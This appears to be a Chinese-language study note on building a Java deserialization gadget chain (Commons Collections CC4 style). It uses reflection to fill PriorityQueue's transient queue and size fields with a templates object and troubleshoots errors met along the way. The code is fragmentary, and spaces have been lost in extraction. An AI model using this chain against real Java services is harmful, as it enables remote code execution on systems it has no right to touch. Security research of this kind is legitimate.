privatevoidheapify() { for (inti= (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
进入sitfDown
1 2 3 4 5 6
privatevoidsiftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
所以上面x的值就是heapify()里queue[i]的值
所以需要给这个进行赋值,但是queue又是一个transient成员,是不能进行序列化和反序列化的
1
transient Object[] queue;
所以这里应该是在readObject的时候被赋值的,在readOject里,有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length s.readInt();
queue = newObject[size];
// Read in all elements. for (inti=0; i < size; i++) queue[i] = s.readObject(); ... ...
privatevoidwriteObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out element count, and any hidden stuff s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order". for (inti=0; i < size; i++) s.writeObject(queue[i]); }
通过反射给queue赋值
所以这里可以直接使用反射来设置queue的值
1 2 3 4 5 6 7
//给queue赋值 Class b=priorityQueue.getClass(); FieldqueueField= b.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue,newObject[] { templates,2 });
根据cc4里面,我们还需要给size赋值
1 2 3 4 5
//给size赋值 Class a= priorityQueue.getClass(); Fieldsize= a.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2);
但是这里需要给他添加两个元素
进行调试,来看看是为什么
首先这个取决于我们设置的size,因为在writeObject()里,他会根据size进行遍历
1 2
for (inti=0; i < size; i++) s.writeObject(queue[i]);
如果size为2但是只有一个元素的话就会报错Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException
所以就需要再添加足够的元素来让他不会报错,所以要在后面加元素,可以都用templates,这样就不会报错InvokerTransformer: The method 'newTransformer' on 'class java.lang.Integer' does not exist